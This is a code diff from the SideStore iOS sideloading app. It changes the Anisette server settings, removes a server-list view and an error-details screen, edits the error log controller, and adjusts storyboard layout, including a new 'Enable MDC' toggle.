</array>
</dict>
<dict>
<key>Type</key>
<string>PSGroupSpecifier</string>
<key>Title</key>
<string>Danger Zone</string>
<key>FooterText</key>
<string>If you disable the toggle then app will use the server you input into the &quot;Anisette URL&quot; box rather than one selected from the above selector.</string>
</dict>
<dict>
<key>Type</key>
<string>PSToggleSwitchSpecifier</string>
<key>Title</key>
<string>Use preferred servers</string>
<key>Key</key>
<string>textServer</string>
<key>DefaultValue</key>
<true/>
<key>FooterText</key>
<string>chicken</string>
</dict>
<dict>
<key>Type</key>
<string>PSTextFieldSpecifier</string>
<key>Title</key>
<string>Anisette URL</string>
<key>Key</key>
<string>textInputAnisetteURL</string>
<key>AutocapitalizationType</key>
<string>None</string>
<key>AutocorrectionType</key>
<string>No</string>
<key>KeyboardType</key>
<string>URL</string>
</dict>
</array>
</dict>
</plist>

Binary file not shown.

View File

@@ -10,11 +10,6 @@ import Foundation
public struct AnisetteManager {
var menuURL: String {
var url: String
url = UserDefaults.standard.menuAnisetteURL
return url
}
/// User defined URL from Settings/UserDefaults
static var userURL: String? {
var urlString: String?

View File

@@ -1,179 +0,0 @@
//
// AnisetteServerList.swift
// SideStore
//
// Created by ny on 6/18/24.
// Copyright © 2024 SideStore. All rights reserved.
//
import UIKit
import SwiftUI
import AltStoreCore
typealias SUIButton = SwiftUI.Button
// MARK: - AnisetteServerData
struct AnisetteServerData: Codable {
let servers: [Server]
}
// MARK: - Server
struct Server: Codable {
var name: String
var address: String
}
struct AniServer: Codable {
var name: String
var url: URL
}
class AnisetteViewModel: ObservableObject {
@Published var selected: String = ""
@Published var source: String = "https://servers.sidestore.io/servers.json"
@Published var servers: [Server] = []
func getListOfServers() {
URLSession.shared.dataTask(with: URL(string: source)!) { data, response, error in
if let error = error {
return
}
if let data = data {
do {
let servers = try Foundation.JSONDecoder().decode(AnisetteServerData.self, from: data)
DispatchQueue.main.async {
self.servers = servers.servers.map { Server(name: $0.name, address: $0.address) }
}
} catch {
}
}
}
.resume()
for server in servers {
print(server)
print(server.name.count)
print(server.name)
}
}
}
struct AnisetteServers: View {
@Environment(\.presentationMode) var presentationMode
@StateObject var viewModel: AnisetteViewModel = AnisetteViewModel()
@State var selected: String? = nil
var errorCallback: () -> ()
var body: some View {
NavigationView {
ZStack {
Color(UIColor(named: "SettingsBackground")!).ignoresSafeArea(.all)
.onAppear {
viewModel.getListOfServers()
}
VStack {
if #available(iOS 16.0, *) {
SwiftUI.List($viewModel.servers, id: \.address, selection: $selected) { server in
HStack {
VStack(alignment: .leading) {
Text("\(server.name.wrappedValue)")
.font(.headline)
.underline(true, color: .white)
Text("\(server.address.wrappedValue)")
.fontWeight(.thin)
}
if selected != nil {
if server.address.wrappedValue == selected {
Spacer()
Image(systemName: "checkmark")
.onAppear {
UserDefaults.standard.menuAnisetteURL = server.address.wrappedValue
print(UserDefaults.synchronize(.standard)())
print(UserDefaults.standard.menuAnisetteURL)
print(server.address.wrappedValue)
}
}
}
}
.backgroundStyle((selected == nil) ? Color(UIColor(named: "SettingsHighlighted")!) : Color(UIColor(named: "SettingsBackground")!))
.listRowSeparatorTint(.white)
.listRowBackground((selected == nil) ? Color(UIColor(named: "SettingsHighlighted")!).ignoresSafeArea(.all) : Color(UIColor(named: "SettingsBackground")!).ignoresSafeArea(.all))
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
.listRowBackground(Color(UIColor(named: "SettingsBackground")!).ignoresSafeArea(.all))
} else {
List(selection: $selected) {
ForEach($viewModel.servers, id: \.name) { server in
VStack {
HStack {
Text("\(server.name.wrappedValue)")
.foregroundColor(.white)
.frame(alignment: .center)
Text("\(server.address.wrappedValue)")
.foregroundColor(.white)
.frame(alignment: .center)
}
}
Spacer()
}
}
.listStyle(.plain)
// Fallback on earlier versions
}
if #available(iOS 15.0, *) {
TextField("Anisette Server List", text: $viewModel.source)
.padding(.leading, 5)
.padding(.vertical, 10)
.frame(alignment: .center)
.textFieldStyle(.plain)
.border(.white, width: 1)
.onSubmit {
UserDefaults.standard.menuAnisetteList = viewModel.source
viewModel.getListOfServers()
}
SUIButton(action: {
viewModel.getListOfServers()
}, label: {
Text("Refresh Servers")
})
.padding(.bottom, 20)
SUIButton(role: .destructive, action: {
#if !DEBUG
if Keychain.shared.adiPb != nil {
Keychain.shared.adiPb = nil
}
#endif
print("Cleared adi.pb from keychain")
errorCallback()
self.presentationMode.wrappedValue.dismiss()
}, label: {
Text("Reset adi.pb")
// if (selected != nil) {
// Text("\(selected!.uuidString)")
// }
})
.padding(.bottom, 20)
} else {
// Fallback on earlier versions
}
}
}
}
.frame(maxWidth: .infinity, maxHeight: .infinity)
.navigationTitle("Anisette Servers")
.onAppear {
if UserDefaults.standard.menuAnisetteList != "" {
viewModel.source = UserDefaults.standard.menuAnisetteList
} else {
viewModel.source = "https://servers.sidestore.io/servers.json"
}
print(UserDefaults.standard.menuAnisetteURL)
print(UserDefaults.standard.menuAnisetteList)
}
}
}

View File

@@ -1,53 +0,0 @@
//
// ErrorDetailsViewController.swift
// AltStore
//
// Created by Riley Testut on 10/5/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import UIKit
import AltStoreCore
class ErrorDetailsViewController: UIViewController
{
var loggedError: LoggedError?
@IBOutlet private var textView: UITextView!
override func viewDidLoad()
{
super.viewDidLoad()
if let error = self.loggedError?.error
{
self.title = error.localizedErrorCode
let font = self.textView.font ?? UIFont.preferredFont(forTextStyle: .body)
let detailedDescription = error.formattedDetailedDescription(with: font)
self.textView.attributedText = detailedDescription
}
else
{
self.title = NSLocalizedString("Error Details", comment: "")
}
self.navigationController?.navigationBar.tintColor = .altPrimary
if #available(iOS 15, *), let sheetController = self.navigationController?.sheetPresentationController
{
sheetController.detents = [.medium(), .large()]
sheetController.selectedDetentIdentifier = .medium
sheetController.prefersGrabberVisible = true
}
}
override func viewDidLayoutSubviews()
{
super.viewDidLayoutSubviews()
self.textView.textContainerInset.left = self.view.layoutMargins.left
self.textView.textContainerInset.right = self.view.layoutMargins.right
}
}

View File

@@ -8,16 +8,6 @@
import UIKit
@objc(ErrorLogMenuButton)
private final class ErrorLogMenuButton: UIButton {
@available(iOS 14.0, *)
override func menuAttachmentPoint(for configuration: UIContextMenuConfiguration) -> CGPoint {
var point = super.menuAttachmentPoint(for: configuration)
point.y = self.bounds.midY
return point
}
}
@objc(ErrorLogTableViewCell)
final class ErrorLogTableViewCell: UITableViewCell
{

View File

@@ -21,13 +21,6 @@ final class ErrorLogViewController: UITableViewController
private lazy var dataSource = self.makeDataSource()
private var expandedErrorIDs = Set<NSManagedObjectID>()
private var isScrolling = false {
didSet {
guard self.isScrolling != oldValue else { return }
self.updateButtonInteractivity()
}
}
private lazy var timeFormatter: DateFormatter = {
let dateFormatter = DateFormatter()
dateFormatter.dateStyle = .none
@@ -46,15 +39,6 @@ final class ErrorLogViewController: UITableViewController
self.tableView.dataSource = self.dataSource
self.tableView.prefetchDataSource = self.dataSource
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
guard let loggedError = sender as? LoggedError, segue.identifier == "showErrorDetails" else { return }
let navigationController = segue.destination as! UINavigationController
let errorDetailsViewController = navigationController.viewControllers.first as! ErrorDetailsViewController
errorDetailsViewController.loggedError = loggedError
}
}
private extension ErrorLogViewController
@@ -76,8 +60,14 @@ private extension ErrorLogViewController
let cell = cell as! ErrorLogTableViewCell
cell.dateLabel.text = self.timeFormatter.string(from: loggedError.date)
cell.errorFailureLabel.text = loggedError.localizedFailure ?? NSLocalizedString("Operation Failed", comment: "")
cell.errorCodeLabel.text = loggedError.error.localizedErrorCode
switch loggedError.domain
{
case AltServerErrorDomain: cell.errorCodeLabel?.text = String(format: NSLocalizedString("AltServer Error %@", comment: ""), NSNumber(value: loggedError.code))
case OperationError.domain: cell.errorCodeLabel?.text = String(format: NSLocalizedString("AltStore Error %@", comment: ""), NSNumber(value: loggedError.code))
default: cell.errorCodeLabel?.text = loggedError.error.localizedErrorCode
}
let nsError = loggedError.error as NSError
let errorDescription = [nsError.localizedDescription, nsError.localizedRecoverySuggestion].compactMap { $0 }.joined(separator: "\n\n")
cell.errorDescriptionTextView.text = errorDescription
@@ -103,19 +93,12 @@ private extension ErrorLogViewController
},
UIAction(title: NSLocalizedString("Search FAQ", comment: ""), image: UIImage(systemName: "magnifyingglass")) { [weak self] _ in
self?.searchFAQ(for: loggedError)
},
UIAction(title: NSLocalizedString("View More Details", comment: ""), image: UIImage(systemName: "ellipsis.circle")) { [weak self] _ in
}
])
cell.menuButton.menu = menu
cell.menuButton.showsMenuAsPrimaryAction = self.isScrolling ? false : true
cell.selectionStyle = .none
} else {
cell.menuButton.isUserInteractionEnabled = false
}
// Include errorDescriptionTextView's text in cell summary.
cell.accessibilityLabel = [cell.errorFailureLabel.text, cell.dateLabel.text, cell.errorCodeLabel.text, cell.errorDescriptionTextView.text].compactMap { $0 }.joined(separator: ". ")
@@ -249,27 +232,22 @@ private extension ErrorLogViewController
func searchFAQ(for loggedError: LoggedError)
{
let baseURL = URL(string: "https://faq.altstore.io/getting-started/error-codes")!
let baseURL = URL(string: "https://faq.altstore.io/getting-started/troubleshooting-guide")!
var components = URLComponents(url: baseURL, resolvingAgainstBaseURL: false)!
let query = [loggedError.domain, "\(loggedError.error.displayCode)"].joined(separator: "+")
let query = [loggedError.domain, "\(loggedError.code)"].joined(separator: "+")
components.queryItems = [URLQueryItem(name: "q", value: query)]
let safariViewController = SFSafariViewController(url: components.url ?? baseURL)
safariViewController.preferredControlTintColor = .altPrimary
self.present(safariViewController, animated: true)
}
func viewMoreDetails(for loggedError: LoggedError) {
self.performSegue(withIdentifier: "showErrorDetails", sender: loggedError)
}
}
extension ErrorLogViewController
{
override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath)
{
guard #unavailable(iOS 14) else { return }
let loggedError = self.dataSource.item(at: indexPath)
let alertController = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet)
@@ -343,32 +321,3 @@ extension ErrorLogViewController: QLPreviewControllerDataSource {
return fileURL as QLPreviewItem
}
}
extension ErrorLogViewController
{
override func scrollViewWillBeginDragging(_ scrollView: UIScrollView)
{
self.isScrolling = true
}
override func scrollViewDidEndDecelerating(_ scrollView: UIScrollView)
{
self.isScrolling = false
}
override func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool)
{
guard !decelerate else { return }
self.isScrolling = false
}
private func updateButtonInteractivity()
{
guard #available(iOS 14, *) else { return }
for case let cell as ErrorLogTableViewCell in self.tableView.visibleCells
{
cell.menuButton.showsMenuAsPrimaryAction = self.isScrolling ? false : true
}
}
}

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="32700.99.1234" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="5Rz-4h-jJ8">
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="5Rz-4h-jJ8">
<device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="22685"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/>
<capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
@@ -20,8 +20,8 @@
<color key="backgroundColor" name="SettingsBackground"/>
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="wordWrap" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontForContentSizeCategory="YES" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
<rect key="frame" x="0.0" y="1245" width="375" height="25"/>
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
<rect key="frame" x="0.0" y="1341" width="375" height="25"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -279,8 +279,8 @@
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Allow Siri To Refresh Apps…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
<rect key="frame" x="30" y="15.5" width="228.5" height="20.5"/>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
<rect key="frame" x="30" y="15.5" width="100.5" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -389,28 +389,28 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="oHX-oR-nwJ" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="721" width="375" height="51"/>
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oHX-oR-nwJ" id="hN4-i5-igu">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
<rect key="frame" x="30" y="15.5" width="89" height="20.5"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
<rect key="frame" x="198" y="15.5" width="147" height="20.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
<rect key="frame" x="0.0" y="0.0" width="115" height="20.5"/>
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
<rect key="frame" x="129" y="0.0" width="18" height="20.5"/>
</imageView>
</subviews>
@@ -433,7 +433,7 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="0MT-ht-Sit" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="772" width="375" height="51"/>
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="0MT-ht-Sit" id="OZp-WM-5H7">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -477,7 +477,7 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="O5R-Al-lGj" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="823" width="375" height="51"/>
<rect key="frame" x="0.0" y="830" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="O5R-Al-lGj" id="CrG-Mr-xQq">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -514,10 +514,50 @@
</tableViewCell>
</cells>
</tableViewSection>
<tableViewSection id="y49-Tc-odS">
<cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="DqL-lJ-MhM" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="917" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DqL-lJ-MhM" id="KhD-Gc-Ehv">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="6NJ-PB-6Jz">
<rect key="frame" x="296" y="10" width="51" height="31"/>
<connections>
<action selector="toggleMDCEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="9rd-cM-Yb1"/>
</connections>
</switch>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable MDC" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="kux-ac-Ujm">
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<constraints>
<constraint firstItem="kux-ac-Ujm" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="Ep6-5u-UiO"/>
<constraint firstItem="kux-ac-Ujm" firstAttribute="leading" secondItem="KhD-Gc-Ehv" secondAttribute="leadingMargin" id="M3Y-cf-s4C"/>
<constraint firstAttribute="trailingMargin" secondItem="6NJ-PB-6Jz" secondAttribute="trailing" id="SfD-jS-svQ"/>
<constraint firstItem="6NJ-PB-6Jz" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="ymQ-xO-ARV"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<userDefinedRuntimeAttributes>
<userDefinedRuntimeAttribute type="number" keyPath="style">
<integer key="value" value="0"/>
</userDefinedRuntimeAttribute>
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
</userDefinedRuntimeAttributes>
</tableViewCell>
</cells>
</tableViewSection>
<tableViewSection headerTitle="" id="OMa-EK-hRI">
<cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="914" width="375" height="51"/>
<rect key="frame" x="0.0" y="1008" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -550,7 +590,7 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="965" width="375" height="51"/>
<rect key="frame" x="0.0" y="1059" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -586,7 +626,7 @@
</connections>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1016" width="375" height="51"/>
<rect key="frame" x="0.0" y="1110" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -618,44 +658,11 @@
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
</userDefinedRuntimeAttributes>
<connections>
<segue destination="g8a-Rf-zWa" kind="show" identifier="showErrorLog" id="vFC-Id-Ww6"/>
<segue destination="g8a-Rf-zWa" kind="show" id="vFC-Id-Ww6"/>
</connections>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VrV-qI-zXF" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1067" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VrV-qI-zXF" id="w1r-uY-4pD">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Refresh SideJITServer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="46q-DB-5nc">
<rect key="frame" x="30" y="15.5" width="183" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="wvD-eZ-nQI">
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
</imageView>
</subviews>
<constraints>
<constraint firstItem="wvD-eZ-nQI" firstAttribute="centerY" secondItem="w1r-uY-4pD" secondAttribute="centerY" id="O6Y-Y1-yxv"/>
<constraint firstItem="46q-DB-5nc" firstAttribute="centerY" secondItem="w1r-uY-4pD" secondAttribute="centerY" id="ROS-YF-6jb"/>
<constraint firstItem="46q-DB-5nc" firstAttribute="leading" secondItem="w1r-uY-4pD" secondAttribute="leadingMargin" id="acd-O8-WTI"/>
<constraint firstAttribute="trailingMargin" secondItem="wvD-eZ-nQI" secondAttribute="trailing" id="taB-EP-QMM"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<userDefinedRuntimeAttributes>
<userDefinedRuntimeAttribute type="number" keyPath="style">
<integer key="value" value="2"/>
</userDefinedRuntimeAttribute>
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="eZ3-BT-q4D" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
<rect key="frame" x="0.0" y="1161" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="eZ3-BT-q4D" id="17m-VV-hzf">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -688,7 +695,7 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1125" width="375" height="51"/>
<rect key="frame" x="0.0" y="1212" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -721,14 +728,14 @@
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
